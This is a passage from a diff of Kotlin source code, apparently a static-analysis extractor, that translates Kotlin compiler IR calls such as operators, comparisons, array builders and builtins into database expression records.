+    fun findJdkIntrinsicOrWarn(name: String, warnAgainstElement: IrElement): IrFunction? {
+        val result = jvmIntrinsicsClass?.let { findFunction(it, name) }
+        if(result == null) {
+            logger.errorElement("Couldn't find JVM intrinsic function $name", warnAgainstElement)
+        }
+        return result
+    }
+
+    private fun findTopLevelFunctionOrWarn(functionFilter: String, type: String, warnAgainstElement: IrElement): IrFunction? {
+
+        val fn = pluginContext.referenceFunctions(FqName(functionFilter))
+            .firstOrNull { it.owner.parentClassOrNull?.fqNameWhenAvailable?.asString() == type }
+            ?.owner
+
+        if (fn != null) {
+            if (fn.parentClassOrNull != null) {
+                extractExternalClassLater(fn.parentAsClass)
+            }
+        } else {
+            logger.errorElement("Couldn't find JVM intrinsic function $functionFilter in $type", warnAgainstElement)
+        }
+
+        return fn
+    }
+
+    private fun findTopLevelPropertyOrWarn(propertyFilter: String, type: String, warnAgainstElement: IrElement): IrProperty? {
+
+        val prop = pluginContext.referenceProperties(FqName(propertyFilter))
+            .firstOrNull { it.owner.parentClassOrNull?.fqNameWhenAvailable?.asString() == type }
+            ?.owner
+
+        if (prop != null) {
+            if (prop.parentClassOrNull != null) {
+                extractExternalClassLater(prop.parentAsClass)
+            }
+        } else {
+            logger.errorElement("Couldn't find JVM intrinsic property $propertyFilter in $type", warnAgainstElement)
+        }
+
+        return prop
+    }
+
+    val javaLangString by lazy {
+        val result = pluginContext.referenceClass(FqName("java.lang.String"))?.owner
+        result?.let { extractExternalClassLater(it) }
+        result
+    }
+
+    val stringValueOfObjectMethod by lazy {
+        val result = javaLangString?.declarations?.find {
+            it is IrFunction &&
+            it.name.asString() == "valueOf" &&
+            it.valueParameters.size == 1 &&
+            it.valueParameters[0].type == pluginContext.irBuiltIns.anyNType
+        } as IrFunction?
+        if (result == null) {
+            logger.error("Couldn't find declaration java.lang.String.valueOf(Object)")
+        }
+        result
+    }
+
+    val javaLangObject by lazy {
+        val result = pluginContext.referenceClass(FqName("java.lang.Object"))?.owner
+        result?.let { extractExternalClassLater(it) }
+        result
+    }
+
+    val objectCloneMethod by lazy {
+        val result = javaLangObject?.declarations?.find {
+            it is IrFunction && it.name.asString() == "clone"
+        } as IrFunction?
+        if (result == null) {
+            logger.error("Couldn't find declaration java.lang.Object.clone(...)")
+        }
+        result
+    }
+
+    val kotlinNoWhenBranchMatchedExn by lazy {
+        val result = pluginContext.referenceClass(FqName("kotlin.NoWhenBranchMatchedException"))?.owner
+        result?.let { extractExternalClassLater(it) }
+        result
+    }
+
+    val kotlinNoWhenBranchMatchedConstructor by lazy {
+        val result = kotlinNoWhenBranchMatchedExn?.declarations?.find {
+            it is IrConstructor &&
+            it.valueParameters.isEmpty()
+        } as IrConstructor?
+        if (result == null) {
+            logger.error("Couldn't find no-arg constructor for kotlin.NoWhenBranchMatchedException")
+        }
+        result
+    }
+
+    val javaUtilArrays by lazy {
+        val result = pluginContext.referenceClass(FqName("java.util.Arrays"))?.owner
+        result?.let { extractExternalClassLater(it) }
+        result
+    }
+
+    fun isFunction(target: IrFunction, pkgName: String, classNameLogged: String, classNamePredicate: (String) -> Boolean, fName: String, hasQuestionMark: Boolean? = false): Boolean {
+        val verbose = false
+        fun verboseln(s: String) { if(verbose) println(s) }
+        verboseln("Attempting match for $pkgName $classNameLogged $fName")
+        if (target.name.asString() != fName) {
+            verboseln("No match as function name is ${target.name.asString()} not $fName")
+            return false
+        }
+        val extensionReceiverParameter = target.extensionReceiverParameter
+        val targetClass = if (extensionReceiverParameter == null) {
+            if (hasQuestionMark == true) {
+                verboseln("Nullablility of type didn't match (target is not an extension method)")
+                return false
+            }
+            target.parent
+        } else {
+            val st = extensionReceiverParameter.type as? IrSimpleType
+            if (hasQuestionMark != null && st?.hasQuestionMark != hasQuestionMark) {
+                verboseln("Nullablility of type didn't match")
+                return false
+            }
+            st?.classifier?.owner
+        }
+        if (targetClass !is IrClass) {
+            verboseln("No match as didn't find target class")
+            return false
+        }
+        if (!classNamePredicate(targetClass.name.asString())) {
+            verboseln("No match as class name is ${targetClass.name.asString()} not $classNameLogged")
+            return false
+        }
+        val targetPkg = targetClass.parent
+        if (targetPkg !is IrPackageFragment) {
+            verboseln("No match as didn't find target package")
+            return false
+        }
+        if (targetPkg.fqName.asString() != pkgName) {
+            verboseln("No match as package name is ${targetPkg.fqName.asString()} not $pkgName")
+            return false
+        }
+        verboseln("Match")
+        return true
+    }
+
+    fun isFunction(target: IrFunction, pkgName: String, className: String, fName: String, hasQuestionMark: Boolean? = false) =
+        isFunction(target, pkgName, className, { it == className }, fName, hasQuestionMark)
+
+    fun isNumericFunction(target: IrFunction, fName: String): Boolean {
+        return isFunction(target, "kotlin", "Int", fName) ||
+                isFunction(target, "kotlin", "Byte", fName) ||
+                isFunction(target, "kotlin", "Short", fName) ||
+                isFunction(target, "kotlin", "Long", fName) ||
+                isFunction(target, "kotlin", "Float", fName) ||
+                isFunction(target, "kotlin", "Double", fName)
+    }
+
+    fun isArrayType(typeName: String) =
+        when(typeName) {
+            "Array" -> true
+            "IntArray" -> true
+            "ByteArray" -> true
+            "ShortArray" -> true
+            "LongArray" -> true
+            "FloatArray" -> true
+            "DoubleArray" -> true
+            "CharArray" -> true
+            "BooleanArray" -> true
+            else -> false
+        }
+
+    fun extractCall(c: IrCall, callable: Label<out DbCallable>, stmtExprParent: StmtExprParent) {
+        with("call", c) {
+            val target = tryReplaceAndroidSyntheticFunction(c.symbol.owner)
+
+            // The vast majority of types of call want an expr context, so make one available lazily:
+            val exprParent by lazy {
+                stmtExprParent.expr(c, callable)
+            }
+
+            val parent by lazy {
+                exprParent.parent
+            }
+
+            val idx by lazy {
+                exprParent.idx
+            }
+
+            val enclosingStmt by lazy {
+                exprParent.enclosingStmt
+            }
+
+            fun extractMethodAccess(syntacticCallTarget: IrFunction, extractMethodTypeArguments: Boolean = true, extractClassTypeArguments: Boolean = false) {
+                val typeArgs =
+                    if (extractMethodTypeArguments)
+                        (0 until c.typeArgumentsCount).map { c.getTypeArgument(it)!! }
+                    else
+                        listOf()
+
+                extractRawMethodAccess(syntacticCallTarget, c, callable, parent, idx, enclosingStmt, (0 until c.valueArgumentsCount).map { c.getValueArgument(it) }, c.dispatchReceiver, c.extensionReceiver, typeArgs, extractClassTypeArguments)
+            }
+
+            fun extractSpecialEnumFunction(fnName: String){
+                if (c.typeArgumentsCount != 1) {
+                    logger.errorElement("Expected to find exactly one type argument", c)
+                    return
+                }
+
+                val func = ((c.getTypeArgument(0) as? IrSimpleType)?.classifier?.owner as? IrClass)?.declarations?.find { it is IrFunction && it.name.asString() == fnName }
+                if (func == null) {
+                    logger.errorElement("Couldn't find function $fnName on enum type", c)
+                    return
+                }
+
+                extractMethodAccess(func as IrFunction, false)
+            }
+
+            fun binopReceiver(id: Label<out DbExpr>, receiver: IrExpression?, receiverDescription: String) {
+                val locId = tw.getLocation(c)
+                tw.writeHasLocation(id, locId)
+                tw.writeCallableEnclosingExpr(id, callable)
+                tw.writeStatementEnclosingExpr(id, enclosingStmt)
+
+                if(receiver == null) {
+                    logger.errorElement("$receiverDescription not found", c)
+                } else {
+                    extractExpressionExpr(receiver, callable, id, 0, enclosingStmt)
+                }
+                if(c.valueArgumentsCount < 1) {
+                    logger.errorElement("No RHS found", c)
+                } else {
+                    if(c.valueArgumentsCount > 1) {
+                        logger.errorElement("Extra arguments found", c)
+                    }
+                    val arg = c.getValueArgument(0)
+                    if(arg == null) {
+                        logger.errorElement("RHS null", c)
+                    } else {
+                        extractExpressionExpr(arg, callable, id, 1, enclosingStmt)
+                    }
+                }
+            }
+
+            /**
+             * Populate the lhs of a binary op from this call's dispatch receiver, and the rhs from its sole argument.
+             */
+            fun binopDisp(id: Label<out DbExpr>) {
+                binopReceiver(id, c.dispatchReceiver, "Dispatch receiver")
+            }
+
+            /**
+             * Populate the lhs of a binary op from this call's extension receiver, and the rhs from its sole argument.
+             */
+            fun binopExtensionMethod(id: Label<out DbExpr>) {
+                binopReceiver(id, c.extensionReceiver, "Extension receiver")
+            }
+
+            val dr = c.dispatchReceiver
+            when {
+                c.origin == IrStatementOrigin.PLUS &&
+                (isNumericFunction(target, "plus")
+                        || isFunction(target, "kotlin", "String", "plus", null)) -> {
+                    val id = tw.getFreshIdLabel<DbAddexpr>()
+                    val type = useType(c.type)
+                    tw.writeExprs_addexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    if (c.extensionReceiver != null)
+                        binopExtensionMethod(id)
+                    else
+                        binopDisp(id)
+                }
+                isFunction(target, "kotlin", "String", "plus", true) -> {
+                    findJdkIntrinsicOrWarn("stringPlus", c)?.let { stringPlusFn ->
+                        extractRawMethodAccess(stringPlusFn, c, callable, parent, idx, enclosingStmt, listOf(c.extensionReceiver, c.getValueArgument(0)), null, null)
+                    }
+                }
+                c.origin == IrStatementOrigin.MINUS && isNumericFunction(target, "minus") -> {
+                    val id = tw.getFreshIdLabel<DbSubexpr>()
+                    val type = useType(c.type)
+                    tw.writeExprs_subexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    binopDisp(id)
+                }
+                c.origin == IrStatementOrigin.MUL && isNumericFunction(target, "times") -> {
+                    val id = tw.getFreshIdLabel<DbMulexpr>()
+                    val type = useType(c.type)
+                    tw.writeExprs_mulexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    binopDisp(id)
+                }
+                c.origin == IrStatementOrigin.DIV && isNumericFunction(target, "div") -> {
+                    val id = tw.getFreshIdLabel<DbDivexpr>()
+                    val type = useType(c.type)
+                    tw.writeExprs_divexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    binopDisp(id)
+                }
+                c.origin == IrStatementOrigin.PERC && isNumericFunction(target, "rem") -> {
+                    val id = tw.getFreshIdLabel<DbRemexpr>()
+                    val type = useType(c.type)
+                    tw.writeExprs_remexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    binopDisp(id)
+                }
+                // != gets desugared into not and ==. Here we resugar it.
+                c.origin == IrStatementOrigin.EXCLEQ && isFunction(target, "kotlin", "Boolean", "not") && c.valueArgumentsCount == 0 && dr != null && dr is IrCall && isBuiltinCallInternal(dr, "EQEQ") -> {
+                    val id = tw.getFreshIdLabel<DbValueneexpr>()
+                    val type = useType(c.type)
+                    tw.writeExprs_valueneexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    binOp(id, dr, callable, enclosingStmt)
+                }
+                c.origin == IrStatementOrigin.EXCLEQEQ && isFunction(target, "kotlin", "Boolean", "not") && c.valueArgumentsCount == 0 && dr != null && dr is IrCall && isBuiltinCallInternal(dr, "EQEQEQ") -> {
+                    val id = tw.getFreshIdLabel<DbNeexpr>()
+                    val type = useType(c.type)
+                    tw.writeExprs_neexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    binOp(id, dr, callable, enclosingStmt)
+                }
+                c.origin == IrStatementOrigin.EXCLEQ && isFunction(target, "kotlin", "Boolean", "not") && c.valueArgumentsCount == 0 && dr != null && dr is IrCall && isBuiltinCallInternal(dr, "ieee754equals") -> {
+                    val id = tw.getFreshIdLabel<DbNeexpr>()
+                    val type = useType(c.type)
+                    tw.writeExprs_neexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    binOp(id, dr, callable, enclosingStmt)
+                }
+                // We need to handle all the builtin operators defines in BuiltInOperatorNames in
+                //     compiler/ir/ir.tree/src/org/jetbrains/kotlin/ir/IrBuiltIns.kt
+                // as they can't be extracted as external dependencies.
+                isBuiltinCallInternal(c, "less") -> {
+                    if(c.origin != IrStatementOrigin.LT) {
+                        logger.warnElement("Unexpected origin for LT: ${c.origin}", c)
+                    }
+                    val id = tw.getFreshIdLabel<DbLtexpr>()
+                    val type = useType(c.type)
+                    tw.writeExprs_ltexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    binOp(id, c, callable, enclosingStmt)
+                }
+                isBuiltinCallInternal(c, "lessOrEqual") -> {
+                    if(c.origin != IrStatementOrigin.LTEQ) {
+                        logger.warnElement("Unexpected origin for LTEQ: ${c.origin}", c)
+                    }
+                    val id = tw.getFreshIdLabel<DbLeexpr>()
+                    val type = useType(c.type)
+                    tw.writeExprs_leexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    binOp(id, c, callable, enclosingStmt)
+                }
+                isBuiltinCallInternal(c, "greater") -> {
+                    if(c.origin != IrStatementOrigin.GT) {
+                        logger.warnElement("Unexpected origin for GT: ${c.origin}", c)
+                    }
+                    val id = tw.getFreshIdLabel<DbGtexpr>()
+                    val type = useType(c.type)
+                    tw.writeExprs_gtexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    binOp(id, c, callable, enclosingStmt)
+                }
+                isBuiltinCallInternal(c, "greaterOrEqual") -> {
+                    if(c.origin != IrStatementOrigin.GTEQ) {
+                        logger.warnElement("Unexpected origin for GTEQ: ${c.origin}", c)
+                    }
+                    val id = tw.getFreshIdLabel<DbGeexpr>()
+                    val type = useType(c.type)
+                    tw.writeExprs_geexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    binOp(id, c, callable, enclosingStmt)
+                }
+                isBuiltinCallInternal(c, "EQEQ") -> {
+                    if(c.origin != IrStatementOrigin.EQEQ) {
+                        logger.warnElement("Unexpected origin for EQEQ: ${c.origin}", c)
+                    }
+                    val id = tw.getFreshIdLabel<DbValueeqexpr>()
+                    val type = useType(c.type)
+                    tw.writeExprs_valueeqexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    binOp(id, c, callable, enclosingStmt)
+                }
+                isBuiltinCallInternal(c, "EQEQEQ") -> {
+                    if(c.origin != IrStatementOrigin.EQEQEQ) {
+                        logger.warnElement("Unexpected origin for EQEQEQ: ${c.origin}", c)
+                    }
+                    val id = tw.getFreshIdLabel<DbEqexpr>()
+                    val type = useType(c.type)
+                    tw.writeExprs_eqexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    binOp(id, c, callable, enclosingStmt)
+                }
+                isBuiltinCallInternal(c, "ieee754equals") -> {
+                    if(c.origin != IrStatementOrigin.EQEQ) {
+                        logger.warnElement("Unexpected origin for ieee754equals: ${c.origin}", c)
+                    }
+                    val id = tw.getFreshIdLabel<DbEqexpr>()
+                    val type = useType(c.type)
+                    tw.writeExprs_eqexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    binOp(id, c, callable, enclosingStmt)
+                }
+                isBuiltinCallInternal(c, "CHECK_NOT_NULL") -> {
+                    if(c.origin != IrStatementOrigin.EXCLEXCL) {
+                        logger.warnElement("Unexpected origin for CHECK_NOT_NULL: ${c.origin}", c)
+                    }
+
+                    val id = tw.getFreshIdLabel<DbNotnullexpr>()
+                    val type = useType(c.type)
+                    tw.writeExprs_notnullexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    unaryOp(id, c, callable, enclosingStmt)
+                }
+                isBuiltinCallInternal(c, "THROW_CCE") -> {
+                    // TODO
+                    logger.errorElement("Unhandled builtin", c)
+                }
+                isBuiltinCallInternal(c, "THROW_ISE") -> {
+                    // TODO
+                    logger.errorElement("Unhandled builtin", c)
+                }
+                isBuiltinCallInternal(c, "noWhenBranchMatchedException") -> {
+                    kotlinNoWhenBranchMatchedConstructor?.let {
+                        val locId = tw.getLocation(c)
+                        val thrownType = useSimpleTypeClass(it.parentAsClass, listOf(), false)
+                        val stmtParent = stmtExprParent.stmt(c, callable)
+                        val throwId = tw.getFreshIdLabel<DbThrowstmt>()
+                        tw.writeStmts_throwstmt(throwId, stmtParent.parent, stmtParent.idx, callable)
+                        tw.writeHasLocation(throwId, locId)
+                        val newExprId = extractNewExpr(it, null, thrownType, locId, throwId, 0, callable, throwId)
+                        extractTypeAccess(thrownType, locId, newExprId, -3, callable, throwId)
+                    }
+                }
+                isBuiltinCallInternal(c, "illegalArgumentException") -> {
+                    // TODO
+                    logger.errorElement("Unhandled builtin", c)
+                }
+                isBuiltinCallInternal(c, "ANDAND") -> {
+                    // TODO
+                    logger.errorElement("Unhandled builtin", c)
+                }
+                isBuiltinCallInternal(c, "OROR") -> {
+                    // TODO
+                    logger.errorElement("Unhandled builtin", c)
+                }
+                isFunction(target, "kotlin", "Any", "toString", true) -> {
+                    stringValueOfObjectMethod?.let {
+                        extractRawMethodAccess(it, c, callable, parent, idx, enclosingStmt, listOf(c.extensionReceiver), null, null)
+                    }
+                }
+                isBuiltinCallKotlin(c, "enumValues") -> {
+                    extractSpecialEnumFunction("values")
+                }
+                isBuiltinCallKotlin(c, "enumValueOf") -> {
+                    extractSpecialEnumFunction("valueOf")
+                }
+                isBuiltinCallKotlin(c, "arrayOfNulls") -> {
+                    val id = tw.getFreshIdLabel<DbArraycreationexpr>()
+                    val type = useType(c.type)
+                    tw.writeExprs_arraycreationexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    val locId = tw.getLocation(c)
+                    tw.writeHasLocation(id, locId)
+                    tw.writeCallableEnclosingExpr(id, callable)
+
+                    if (c.typeArgumentsCount == 1) {
+                        extractTypeAccessRecursive(c.getTypeArgument(0)!!, locId, id, -1, callable, enclosingStmt, TypeContext.GENERIC_ARGUMENT)
+                    } else {
+                        logger.errorElement("Expected to find exactly one type argument in an arrayOfNulls call", c)
+                    }
+
+                    if (c.valueArgumentsCount == 1) {
+                        val dim = c.getValueArgument(0)
+                        if (dim != null) {
+                            extractExpressionExpr(dim, callable, id, 0, enclosingStmt)
+                        } else {
+                            logger.errorElement("Expected to find non-null argument in an arrayOfNulls call", c)
+                        }
+                    } else {
+                        logger.errorElement("Expected to find only one argument in an arrayOfNulls call", c)
+                    }
+                }
+                isBuiltinCallKotlin(c, "arrayOf")
+                        || isBuiltinCallKotlin(c, "doubleArrayOf")
+                        || isBuiltinCallKotlin(c, "floatArrayOf")
+                        || isBuiltinCallKotlin(c, "longArrayOf")
+                        || isBuiltinCallKotlin(c, "intArrayOf")
+                        || isBuiltinCallKotlin(c, "charArrayOf")
+                        || isBuiltinCallKotlin(c, "shortArrayOf")
+                        || isBuiltinCallKotlin(c, "byteArrayOf")
+                        || isBuiltinCallKotlin(c, "booleanArrayOf") -> {
+
+                    val arg = if (c.valueArgumentsCount == 1) c.getValueArgument(0) else {
+                        logger.errorElement("Expected to find only one (vararg) argument in ${c.symbol.owner.name.asString()} call", c)
+                        null
+                    }?.let {
+                        if (it is IrVararg) it else {
+                            logger.errorElement("Expected to find vararg argument in ${c.symbol.owner.name.asString()} call", c)
+                            null
+                        }
+                    }
+
+                    // If this is [someType]ArrayOf(*x), x, otherwise null
+                    val clonedArray = arg?.let {
+                        if (arg.elements.size == 1) {
+                            val onlyElement = arg.elements[0]
+                            if (onlyElement is IrSpreadElement)
+                                onlyElement.expression
+                            else null
+                        } else null
+                    }
+
+                    if (clonedArray != null) {
+                        // This is an array clone: extract is as a call to java.lang.Object.clone
+                        objectCloneMethod?.let {
+                            extractRawMethodAccess(it, c, callable, parent, idx, enclosingStmt, listOf(), clonedArray, null)
+                        }
+                    } else {
+                        // This is array creation: extract it as a call to new ArrayType[] { ... }
+                        val id = tw.getFreshIdLabel<DbArraycreationexpr>()
+                        val type = useType(c.type)
+                        tw.writeExprs_arraycreationexpr(id, type.javaResult.id, parent, idx)
+                        tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                        val locId = tw.getLocation(c)
+                        tw.writeHasLocation(id, locId)
+                        tw.writeCallableEnclosingExpr(id, callable)
+
+                        if (isBuiltinCallKotlin(c, "arrayOf")) {
+                            if (c.typeArgumentsCount == 1) {
+                                extractTypeAccessRecursive(c.getTypeArgument(0)!!, locId, id, -1, callable, enclosingStmt, TypeContext.GENERIC_ARGUMENT)
+                            } else {
+                                logger.errorElement("Expected to find one type argument in arrayOf call", c )
+                            }
+                        } else {
+                            val elementType = c.type.getArrayElementType(pluginContext.irBuiltIns)
+                            extractTypeAccessRecursive(elementType, locId, id, -1, callable, enclosingStmt)
+                        }
+
+                        arg?.let {
+                            val initId = tw.getFreshIdLabel<DbArrayinit>()
+                            tw.writeExprs_arrayinit(initId, type.javaResult.id, id, -2)
+                            tw.writeExprsKotlinType(initId, type.kotlinResult.id)
+                            tw.writeHasLocation(initId, locId)
+                            tw.writeCallableEnclosingExpr(initId, callable)
+                            tw.writeStatementEnclosingExpr(initId, enclosingStmt)
+                            it.elements.forEachIndexed { i, arg -> extractVarargElement(arg, callable, initId, i, enclosingStmt) }
+
+                            val dim = it.elements.size
+                            val dimId = tw.getFreshIdLabel<DbIntegerliteral>()
+                            val dimType = useType(pluginContext.irBuiltIns.intType)
+                            tw.writeExprs_integerliteral(dimId, dimType.javaResult.id, id, 0)
+                            tw.writeExprsKotlinType(dimId, dimType.kotlinResult.id)
+                            tw.writeHasLocation(dimId, locId)
+                            tw.writeCallableEnclosingExpr(dimId, callable)
+                            tw.writeStatementEnclosingExpr(dimId, enclosingStmt)
+                            tw.writeNamestrings(dim.toString(), dim.toString(), dimId)
+                        }
+                    }
+                }
+                isBuiltinCall(c, "<get-java>", "kotlin.jvm") -> {
+                    // Special case for KClass<*>.java, which is used in the Parcelize plugin. In normal cases, this is already rewritten to the property referenced below:
+                    findTopLevelPropertyOrWarn("kotlin.jvm.java", "kotlin.jvm.JvmClassMappingKt", c)?.let { javaProp ->
+                        val getter = javaProp.getter
+                        if (getter == null) {
+                            logger.error("Couldn't find getter of `kotlin.jvm.JvmClassMappingKt::java`")
+                            return
+                        }
+
+                        val ext = c.extensionReceiver
+                        if (ext == null) {
+                            logger.errorElement("No extension receiver found for `KClass::java` call", c)
+                            return
+                        }
+
+                        val argType = (ext.type as? IrSimpleType)?.arguments?.firstOrNull()?.typeOrNull
+                        val typeArguments = if (argType == null) listOf() else listOf(argType)
+
+                        extractRawMethodAccess(getter, c, callable, parent, idx, enclosingStmt, listOf(), null, ext, typeArguments)
+                    }
+                }
+                isFunction(target, "kotlin", "(some array type)", { isArrayType(it) }, "iterator") && c.origin == IrStatementOrigin.FOR_LOOP_ITERATOR -> {
+                    findTopLevelFunctionOrWarn("kotlin.jvm.internal.iterator", "kotlin.jvm.internal.ArrayIteratorKt", c)?.let { iteratorFn ->
+                        extractRawMethodAccess(iteratorFn, c, callable, parent, idx, enclosingStmt, listOf(c.dispatchReceiver), null, null, listOf((c.dispatchReceiver!!.type as IrSimpleType).arguments.first().typeOrNull!!))
+                    }
+                }
+                isFunction(target, "kotlin", "(some array type)", { isArrayType(it) }, "get") && c.origin == IrStatementOrigin.GET_ARRAY_ELEMENT -> {
+                    val id = tw.getFreshIdLabel<DbArrayaccess>()
+                    val type = useType(c.type)
+                    tw.writeExprs_arrayaccess(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    binopDisp(id)
+                }
+                isFunction(target, "kotlin", "(some array type)", { isArrayType(it) }, "set") && c.origin == IrStatementOrigin.EQ -> {
+                    val array = c.dispatchReceiver
+                    val arrayIdx = c.getValueArgument(0)
+                    val assignedValue = c.getValueArgument(1)
+
+                    if (array != null && arrayIdx != null && assignedValue != null) {
+
+                        val assignId = tw.getFreshIdLabel<DbAssignexpr>()
+                        val type = useType(c.type)
+                        val locId = tw.getLocation(c)
+                        tw.writeExprs_assignexpr(assignId, type.javaResult.id, parent, idx)
+                        tw.writeExprsKotlinType(assignId, type.kotlinResult.id)
+                        tw.writeHasLocation(assignId, locId)
+                        tw.writeCallableEnclosingExpr(assignId, callable)
+                        tw.writeStatementEnclosingExpr(assignId, enclosingStmt)
+
+                        val arrayAccessId = tw.getFreshIdLabel<DbArrayaccess>()
+                        val arrayType = useType(array.type)
+                        tw.writeExprs_arrayaccess(arrayAccessId, arrayType.javaResult.id, assignId, 0)
+                        tw.writeExprsKotlinType(arrayAccessId, arrayType.kotlinResult.id)
+                        tw.writeHasLocation(arrayAccessId, locId)
+                        tw.writeCallableEnclosingExpr(arrayAccessId, callable)
+                        tw.writeStatementEnclosingExpr(arrayAccessId, enclosingStmt)
+
+                        extractExpressionExpr(array, callable, arrayAccessId, 0, enclosingStmt)
+                        extractExpressionExpr(arrayIdx, callable, arrayAccessId, 1, enclosingStmt)
+
+                        extractExpressionExpr(assignedValue, callable, assignId, 1, enclosingStmt)
+
+                    } else {
+                        logger.errorElement("Unexpected Array.set function signature", c)
+                    }
+                }
+                isBuiltinCall(c, "<unsafe-coerce>", "kotlin.jvm.internal") -> {
+
+                    if (c.valueArgumentsCount != 1) {
+                        logger.errorElement("Expected to find only one argument for a kotlin.jvm.internal.<unsafe-coerce>() call", c)
+                        return
+                    }
+
+                    if (c.typeArgumentsCount != 2) {
+                        logger.errorElement("Expected to find two type arguments for a kotlin.jvm.internal.<unsafe-coerce>() call", c)
+                        return
+                    }
+
+                    val id = tw.getFreshIdLabel<DbUnsafecoerceexpr>()
+                    val locId = tw.getLocation(c)
+                    val type = useType(c.type)
+                    tw.writeExprs_unsafecoerceexpr(id, type.javaResult.id, parent, idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    tw.writeHasLocation(id, locId)
+                    tw.writeCallableEnclosingExpr(id, callable)
+                    tw.writeStatementEnclosingExpr(id, enclosingStmt)
+                    extractTypeAccessRecursive(c.getTypeArgument(1)!!, locId, id, 0, callable, enclosingStmt)
+                    extractExpressionExpr(c.getValueArgument(0)!!, callable, id, 1, enclosingStmt)
+                }
+                isBuiltinCallInternal(c, "dataClassArrayMemberToString") -> {
+                    val arrayArg = c.getValueArgument(0)
+                    val realArrayClass = arrayArg?.type?.classOrNull
+                    if (realArrayClass == null) {
+                        logger.errorElement("Argument to dataClassArrayMemberToString not a class", c)
+                        return
+                    }
+                    val realCallee = javaUtilArrays?.declarations?.find { decl ->
+                        decl is IrFunction && decl.name.asString() == "toString" && decl.valueParameters.size == 1 &&
+                                decl.valueParameters[0].type.classOrNull?.let { it == realArrayClass } == true
+                    } as IrFunction?
+                    if (realCallee == null) {
+                        logger.errorElement("Couldn't find a java.lang.Arrays.toString method matching class ${realArrayClass.owner.name}", c)
+                    } else {
+                        extractRawMethodAccess(
+                            realCallee,
+                            c,
+                            callable,
+                            parent,
+                            idx,
+                            enclosingStmt,
+                            listOf(arrayArg),
+                            null,
+                            null
+                        )
+                    }
+                }
+                isBuiltinCallInternal(c, "dataClassArrayMemberHashCode") -> {
+                    val arrayArg = c.getValueArgument(0)
+                    val realArrayClass = arrayArg?.type?.classOrNull
+                    if (realArrayClass == null) {
+                        logger.errorElement("Argument to dataClassArrayMemberHashCode not a class", c)
+                        return
+                    }
+                    val realCallee = javaUtilArrays?.declarations?.find { decl ->
+                        decl is IrFunction && decl.name.asString() == "hashCode" && decl.valueParameters.size == 1 &&
+                                decl.valueParameters[0].type.classOrNull?.let { it == realArrayClass } == true
+                    } as IrFunction?
+                    if (realCallee == null) {
+                        logger.errorElement("Couldn't find a java.lang.Arrays.hashCode method matching class ${realArrayClass.owner.name}", c)
+                    } else {
+                        extractRawMethodAccess(
+                            realCallee,
+                            c,
+                            callable,
+                            parent,
+                            idx,
+                            enclosingStmt,
+                            listOf(arrayArg),
+                            null,
+                            null
+                        )
+                    }
+                }
+                else -> {
+                    extractMethodAccess(target, true, true)
+                }
+            }
+        }
+    }
+
+    private fun extractNewExpr(
+        methodId: Label<out DbConstructor>,
+        constructedType: TypeResults,
+        locId: Label<out DbLocation>,
+        parent: Label<out DbExprparent>,
+        idx: Int,
+        callable: Label<out DbCallable>,
+        enclosingStmt: Label<out DbStmt>
+    ): Label<DbNewexpr> {
+        val id = tw.getFreshIdLabel<DbNewexpr>()
+        tw.writeExprs_newexpr(id, constructedType.javaResult.id, parent, idx)
+        tw.writeExprsKotlinType(id, constructedType.kotlinResult.id)
+        tw.writeHasLocation(id, locId)
+        tw.writeCallableEnclosingExpr(id, callable)
+        tw.writeStatementEnclosingExpr(id, enclosingStmt)
+        tw.writeCallableBinding(id, methodId)
+        return id
+    }
+
+    private fun extractNewExpr(
+        calledConstructor: IrFunction,
+        constructorTypeArgs: List<IrTypeArgument>?,
+        constructedType: TypeResults,
+        locId: Label<out DbLocation>,
+        parent: Label<out DbExprparent>,
+        idx: Int,
+        callable: Label<out DbCallable>,
+        enclosingStmt: Label<out DbStmt>
+    ): Label<DbNewexpr> = extractNewExpr(useFunction<DbConstructor>(calledConstructor, constructorTypeArgs), constructedType, locId, parent, idx, callable, enclosingStmt)
+
+    private fun extractConstructorCall(
+        e: IrFunctionAccessExpression,
+        parent: Label<out DbExprparent>,
+        idx: Int,
+        callable: Label<out DbCallable>,
+        enclosingStmt: Label<out DbStmt>
+    ) {
+        val isAnonymous = e.type.isAnonymous
+        val type: TypeResults = if (isAnonymous) {
+            if (e.typeArgumentsCount > 0) {
+                logger.warn("Unexpected type arguments for anonymous class constructor call")
+            }
+            val c = (e.type as IrSimpleType).classifier.owner as IrClass
+            useAnonymousClass(c)
+        } else {
+            useType(e.type)
+        }
+        val locId = tw.getLocation(e)
